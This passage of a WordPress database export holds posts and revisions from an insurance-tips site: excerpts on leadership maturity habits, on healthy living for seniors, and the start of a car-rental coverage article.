wp:paragraph -->\n<p>The problem with hiring or promoting people strictly based on things like drive, charisma, and achieving results is that we often place selfish, immature individuals into important positions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What sets mature leaders apart</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Taking a chapter out of cutting-edge brain science, maturity requires living and working with both operating systems of the brain -- the right and left hemispheres -- functioning at peak capacity. According to Marcus Warner and Jim Wilder\'s new book, <em>Rare Leadership in the Workplace: Four Uncommon Habits That Improve Focus, Engagement, and Productivity</em>,<em> </em>the two sides drive two completely different operating systems -- the \"fast track\" and the \"slow track.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is where it gets interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The fast track is responsible for regulating emotions and reading the world around us. The slow track helps us solve problems and perform tasks.&nbsp;Most leaders have been trained to solve problems and get work done but have not been trained in relational skills and emotional regulation,\" state the authors. &nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These basics of brain science are what anchor the four R.A.R.E. habits of mature leaders developed by&nbsp;Warner and Wilder: Remain relational, Act like yourself, Return to joy, and Endure hardship well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1.&nbsp;Remain relational</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to the authors, a key aspect of mature leaders that sets them apart is their ability to remain relational when they deal with problems. \"No matter how big the problem, there is always a way to handle it in a way that values the relationship and not just the solution,\" state the authors. To build trust in the people you lead, remaining relational is a leadership habit that must be consistently demonstrated.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">2.&nbsp;&nbsp;Act like yourself</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To \"act like yourself\" means acting like an adult. This means having&nbsp;the strength to stand up for yourself&nbsp;but also for those under your care.&nbsp;\"In order to act like yourself, you need to know who you are. Many of us were not raised with a healthy sense of identity and some repair work may be needed. The leaders we trust and respect are the ones who have a well-developed sense of identity and as a result, are free to serve others and take care of their people,\" state the authors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">3.&nbsp;&nbsp;Return to joy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The authors say most leaders are running&nbsp;on two types of fuel: the relational fuel of joy and the non-relational fuel of fear. As a motivator, fear is meant to give us energy in short bursts, which is not sustainable for our lives or businesses. Joy, on the other hand, is an endless motivator that should be prioritized when negative emotions threaten to shut down the fast track.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Joy is not a common topic in leadership -- but it should be. Many leaders are results-oriented, bottom-line thinkers who don\'t see the need for sappy emotions like joy. But there is nothing sappy about joy,\" state the authors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">4.&nbsp;Endure hardship well</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>\"The great leaders of history are often held in high regard specifically because of their ability to navigate the hard times they faced,\" state the authors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In summary, the authors argue that maturity can transform a workplace from a toxic environment to a place people love to work. And what separates the competent managers people&nbsp;<em>have to&nbsp;</em>follow from the rare leaders people&nbsp;<em>love to&nbsp;</em>follow is emotional and relational maturity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"No one is born with maturity, and it is not simply a choice you make -- it is something that must be earned. Most of us want solutions we can implement today, but practicing maturity and implementing new habits can span months or even years. It is a capacity we develop over time that requires the help of others.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.inc.com/marcel-schwantes/how-can-you-be-sure-someone-has-what-it-takes-to-lead-people-look-for-4-rare-habits.html\">click here.</a></p>\n<!-- /wp:paragraph -->','How Can You Be Sure Someone Has What It Takes to Lead People? Look for 4 Rare Habits.','','publish','closed','closed','','how-can-you-be-sure-someone-has-what-it-takes-to-lead-people-look-for-4-rare-habits','','','2024-01-26 15:48:17','2024-01-26 15:48:17','',0,'https://smartinsurance.tips/?p=3777',0,'post','',0),(3778,1,'2024-01-26 15:47:07','2024-01-26 15:47:07','','Untitled-51','','inherit','closed','closed','','untitled-51','','','2024-01-26 15:47:07','2024-01-26 15:47:07','',3777,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-51.png',0,'attachment','image/png',0),(3779,1,'2024-01-26 15:48:17','2024-01-26 15:48:17','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3778,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-51-1024x1024.png\" alt=\"\" class=\"wp-image-3778\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Having interviewed and coached hundreds of leaders, I have seen the best and worst of leaders. The worst? Well, they\'re easier to spot because their immaturity stands out, affecting their teams and organizations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Quite truthfully, the lack of maturity in most leadership settings is becoming increasingly obvious. Most organizations are so results-driven and short-term focused, they don\'t put enough emphasis on the actual <em>emotional maturity</em> of the people they hire and promote that will benefit them long-term.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem with hiring or promoting people strictly based on things like drive, charisma, and achieving results is that we often place selfish, immature individuals into important positions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What sets mature leaders apart</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Taking a chapter out of cutting-edge brain science, maturity requires living and working with both operating systems of the brain -- the right and left hemispheres -- functioning at peak capacity. According to Marcus Warner and Jim Wilder\'s new book, <em>Rare Leadership in the Workplace: Four Uncommon Habits That Improve Focus, Engagement, and Productivity</em>,<em> </em>the two sides drive two completely different operating systems -- the \"fast track\" and the \"slow track.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is where it gets interesting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The fast track is responsible for regulating emotions and reading the world around us. The slow track helps us solve problems and perform tasks.&nbsp;Most leaders have been trained to solve problems and get work done but have not been trained in relational skills and emotional regulation,\" state the authors. &nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These basics of brain science are what anchor the four R.A.R.E. habits of mature leaders developed by&nbsp;Warner and Wilder: Remain relational, Act like yourself, Return to joy, and Endure hardship well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1.&nbsp;Remain relational</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to the authors, a key aspect of mature leaders that sets them apart is their ability to remain relational when they deal with problems. \"No matter how big the problem, there is always a way to handle it in a way that values the relationship and not just the solution,\" state the authors. To build trust in the people you lead, remaining relational is a leadership habit that must be consistently demonstrated.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">2.&nbsp;&nbsp;Act like yourself</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To \"act like yourself\" means acting like an adult. This means having&nbsp;the strength to stand up for yourself&nbsp;but also for those under your care.&nbsp;\"In order to act like yourself, you need to know who you are. Many of us were not raised with a healthy sense of identity and some repair work may be needed. The leaders we trust and respect are the ones who have a well-developed sense of identity and as a result, are free to serve others and take care of their people,\" state the authors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">3.&nbsp;&nbsp;Return to joy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The authors say most leaders are running&nbsp;on two types of fuel: the relational fuel of joy and the non-relational fuel of fear. As a motivator, fear is meant to give us energy in short bursts, which is not sustainable for our lives or businesses. Joy, on the other hand, is an endless motivator that should be prioritized when negative emotions threaten to shut down the fast track.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Joy is not a common topic in leadership -- but it should be. Many leaders are results-oriented, bottom-line thinkers who don\'t see the need for sappy emotions like joy. But there is nothing sappy about joy,\" state the authors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">4.&nbsp;Endure hardship well</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>\"The great leaders of history are often held in high regard specifically because of their ability to navigate the hard times they faced,\" state the authors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In summary, the authors argue that maturity can transform a workplace from a toxic environment to a place people love to work. And what separates the competent managers people&nbsp;<em>have to&nbsp;</em>follow from the rare leaders people&nbsp;<em>love to&nbsp;</em>follow is emotional and relational maturity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"No one is born with maturity, and it is not simply a choice you make -- it is something that must be earned. Most of us want solutions we can implement today, but practicing maturity and implementing new habits can span months or even years. It is a capacity we develop over time that requires the help of others.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.inc.com/marcel-schwantes/how-can-you-be-sure-someone-has-what-it-takes-to-lead-people-look-for-4-rare-habits.html\">click here.</a></p>\n<!-- /wp:paragraph -->','How Can You Be Sure Someone Has What It Takes to Lead People? Look for 4 Rare Habits.','','inherit','closed','closed','','3777-revision-v1','','','2024-01-26 15:48:17','2024-01-26 15:48:17','',3777,'https://smartinsurance.tips/?p=3779',0,'revision','',0),(3780,1,'2024-01-26 15:54:40','2024-01-26 15:54:40','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3781,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-52-1024x1024.png\" alt=\"\" class=\"wp-image-3781\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>It is more important than ever to prioritize our health as we become older. A healthy lifestyle not only improves our wellbeing but also makes it possible for us to enjoy full, active lives as we age. The information and advice in this guide may be useful for seniors who want to retain excellent health and take advantage of their senior years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Senior Health and Wellness Overview</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our bodies change as we age, even while leading a healthy lifestyle can help prevent health problems and increase quality of life. For seniors, maintaining their physical, mental, and emotional wellness should come first. Here is a detailed guide on maintaining a healthy lifestyle as you age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Providing Your Body with Nutrients</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Prioritize a well-balanced diet full of whole grains, lean meats, fresh fruits and vegetables, and healthy fats.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduce your intake of processed foods, salt, and sugar to lower your risk of chronic diseases including diabetes and hypertension.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To create a customized meal plan that suits your nutritional preferences, speak with a nutritionist.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Maintaining Your Activity While Exercising</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>To keep your flexibility, strength, and cardiovascular health in check, engage in regular exercise like walking, swimming, yoga, or tai chi.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plan to exercise for at least 150 minutes per week in a moderate manner, as advised by medical professionals.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To avoid falls and enhance mobility, incorporate balance and flexibility exercises.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Before beginning a new exercise programme, speak with your doctor.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Mind-Care for Emotional and Mental Health</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Get in touch with friends and family and take part in events with other people to maintain an active social life.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To keep your cognitive health, engage in brain-stimulating activities like crossword puzzles, reading, or learning a new skill.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To reduce stress and encourage emotional wellbeing, try mindfulness practices, meditation, or deep breathing.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you’re having trouble with anxiety, despair, or loneliness, get professional assistance.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Regular Medical Exams: Monitoring Your Health</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>To check your general health and address any difficulties, schedule regular appointments with your healthcare provider.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep up with vaccinations, tests, and preventative measures to spot potential health issues early.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep a record of your prescriptions, allergies, and medical history to give to medical experts.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider senior health insurance options like ALTCS (Arizona Long Term Care System) to provide access to necessary medical procedures.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br><strong>Prioritizing restorative sleep during sleeping</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>For general health and vitality, you should aim for 7-9 hours of undisturbed sleep each night.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Create a soothing bedtime routine to signal to your body that it is time to unwind.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To encourage restful sleep, make sure your bedroom is cosy, serene, and dark.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consult your doctor if you are having difficulties falling or staying asleep.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Hobbies participation: Finding fulfillment</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Follow your interests, whether they are in music, painting, gardening, or any other hobby.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>improving mental and emotional well-being through purposeful and innovative work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look into neighborhood community centers or senior organizations to meet individuals who share your interests.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It’s never too late to pursue your ambitions, so don’t be afraid to pick up new talents or go off on exciting new experiences.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Prioritizing self-care while ensuring safety and hygiene</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Uphold a high degree of cleanliness to ward off illnesses and promote overall wellness.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>By removing trip hazards, adding grab bars, and adding the right lighting, you may make your home safer.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you need extra assistance, think about hiring home care services or assisted living facilities.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Review and update your legal and financial papers, such as wills and powers of attorney, on a regular basis.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Judicious spending while securing the future</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>By creating a smart budget and making wise investments, you can protect your financial stability and get ready for retirement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Do your research on government assistance programmes for seniors who require long-term care, such as ALTCS.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consult a financial counselor to develop a thorough plan that meets your needs and objectives.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br><strong>Accepting Change Will Help You Get Ready for New Stages in Life</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Accept the changes that come with aging and keep an open mind while confronting new challenges.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Embrace a network of family, friends, and experts who can offer support, advice, and assistance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Develop resilience and optimism to face life’s ups and downs gracefully.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Never lose sight of the fact that anybody may live a happy, healthy life, and that every second offers the chance to make important choices.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>You may considerably improve your welfare and make the most of your senior years by incorporating these suggestions into your daily life. You can live a robust and fulfilling life that improves with age by putting your health first, accepting change, and being active in life’s possibilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><br></strong><strong>Through Social Interaction, Establishing Meaningful Connections</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By maintaining solid social ties, you can fight social isolation and loneliness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Participate in social activities, such as taking group lessons, attending community events, or joining groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keep in touch with your loved ones on a regular basis, whether it is by phone, video chat, or in-person visits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Additional benefits of human interaction include emotional support, a sense of belonging, and a sense of purpose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebraggingmommy.com/how-to-continue-living-a-healthy-lifestyle-as-you-age/\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Continue Living a Healthy Lifestyle as You Age','','publish','closed','closed','','how-to-continue-living-a-healthy-lifestyle-as-you-age','','','2024-01-26 15:54:40','2024-01-26 15:54:40','',0,'https://smartinsurance.tips/?p=3780',0,'post','',0),(3781,1,'2024-01-26 15:52:30','2024-01-26 15:52:30','','Untitled-52','','inherit','closed','closed','','untitled-52','','','2024-01-26 15:52:30','2024-01-26 15:52:30','',3780,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-52.png',0,'attachment','image/png',0),(3782,1,'2024-01-26 15:54:40','2024-01-26 15:54:40','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3781,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-52-1024x1024.png\" alt=\"\" class=\"wp-image-3781\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>It is more important than ever to prioritize our health as we become older. A healthy lifestyle not only improves our wellbeing but also makes it possible for us to enjoy full, active lives as we age. The information and advice in this guide may be useful for seniors who want to retain excellent health and take advantage of their senior years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Senior Health and Wellness Overview</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our bodies change as we age, even while leading a healthy lifestyle can help prevent health problems and increase quality of life. For seniors, maintaining their physical, mental, and emotional wellness should come first. Here is a detailed guide on maintaining a healthy lifestyle as you age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Providing Your Body with Nutrients</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Prioritize a well-balanced diet full of whole grains, lean meats, fresh fruits and vegetables, and healthy fats.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduce your intake of processed foods, salt, and sugar to lower your risk of chronic diseases including diabetes and hypertension.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To create a customized meal plan that suits your nutritional preferences, speak with a nutritionist.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Maintaining Your Activity While Exercising</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>To keep your flexibility, strength, and cardiovascular health in check, engage in regular exercise like walking, swimming, yoga, or tai chi.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plan to exercise for at least 150 minutes per week in a moderate manner, as advised by medical professionals.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To avoid falls and enhance mobility, incorporate balance and flexibility exercises.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Before beginning a new exercise programme, speak with your doctor.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Mind-Care for Emotional and Mental Health</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Get in touch with friends and family and take part in events with other people to maintain an active social life.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To keep your cognitive health, engage in brain-stimulating activities like crossword puzzles, reading, or learning a new skill.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To reduce stress and encourage emotional wellbeing, try mindfulness practices, meditation, or deep breathing.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you’re having trouble with anxiety, despair, or loneliness, get professional assistance.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Regular Medical Exams: Monitoring Your Health</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>To check your general health and address any difficulties, schedule regular appointments with your healthcare provider.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep up with vaccinations, tests, and preventative measures to spot potential health issues early.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep a record of your prescriptions, allergies, and medical history to give to medical experts.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider senior health insurance options like ALTCS (Arizona Long Term Care System) to provide access to necessary medical procedures.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br><strong>Prioritizing restorative sleep during sleeping</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>For general health and vitality, you should aim for 7-9 hours of undisturbed sleep each night.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Create a soothing bedtime routine to signal to your body that it is time to unwind.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>To encourage restful sleep, make sure your bedroom is cosy, serene, and dark.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consult your doctor if you are having difficulties falling or staying asleep.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Hobbies participation: Finding fulfillment</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Follow your interests, whether they are in music, painting, gardening, or any other hobby.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>improving mental and emotional well-being through purposeful and innovative work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look into neighborhood community centers or senior organizations to meet individuals who share your interests.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It’s never too late to pursue your ambitions, so don’t be afraid to pick up new talents or go off on exciting new experiences.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Prioritizing self-care while ensuring safety and hygiene</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Uphold a high degree of cleanliness to ward off illnesses and promote overall wellness.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>By removing trip hazards, adding grab bars, and adding the right lighting, you may make your home safer.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you need extra assistance, think about hiring home care services or assisted living facilities.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Review and update your legal and financial papers, such as wills and powers of attorney, on a regular basis.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Judicious spending while securing the future</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>By creating a smart budget and making wise investments, you can protect your financial stability and get ready for retirement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Do your research on government assistance programmes for seniors who require long-term care, such as ALTCS.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consult a financial counselor to develop a thorough plan that meets your needs and objectives.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br><strong>Accepting Change Will Help You Get Ready for New Stages in Life</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Accept the changes that come with aging and keep an open mind while confronting new challenges.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Embrace a network of family, friends, and experts who can offer support, advice, and assistance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Develop resilience and optimism to face life’s ups and downs gracefully.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Never lose sight of the fact that anybody may live a happy, healthy life, and that every second offers the chance to make important choices.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>You may considerably improve your welfare and make the most of your senior years by incorporating these suggestions into your daily life. You can live a robust and fulfilling life that improves with age by putting your health first, accepting change, and being active in life’s possibilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><br></strong><strong>Through Social Interaction, Establishing Meaningful Connections</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By maintaining solid social ties, you can fight social isolation and loneliness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Participate in social activities, such as taking group lessons, attending community events, or joining groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keep in touch with your loved ones on a regular basis, whether it is by phone, video chat, or in-person visits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Additional benefits of human interaction include emotional support, a sense of belonging, and a sense of purpose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebraggingmommy.com/how-to-continue-living-a-healthy-lifestyle-as-you-age/\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Continue Living a Healthy Lifestyle as You Age','','inherit','closed','closed','','3780-revision-v1','','','2024-01-26 15:54:40','2024-01-26 15:54:40','',3780,'https://smartinsurance.tips/?p=3782',0,'revision','',0),(3783,1,'2024-01-26 16:00:09','2024-01-26 16:00:09','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3784,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-55-1024x1024.png\" alt=\"\" class=\"wp-image-3784\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">When renting a car, you need some types of coverage. But you may already have the required coverage through your personal auto insurance policy or a credit card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Here’s how to decide when it’s worth it to&nbsp;pay for 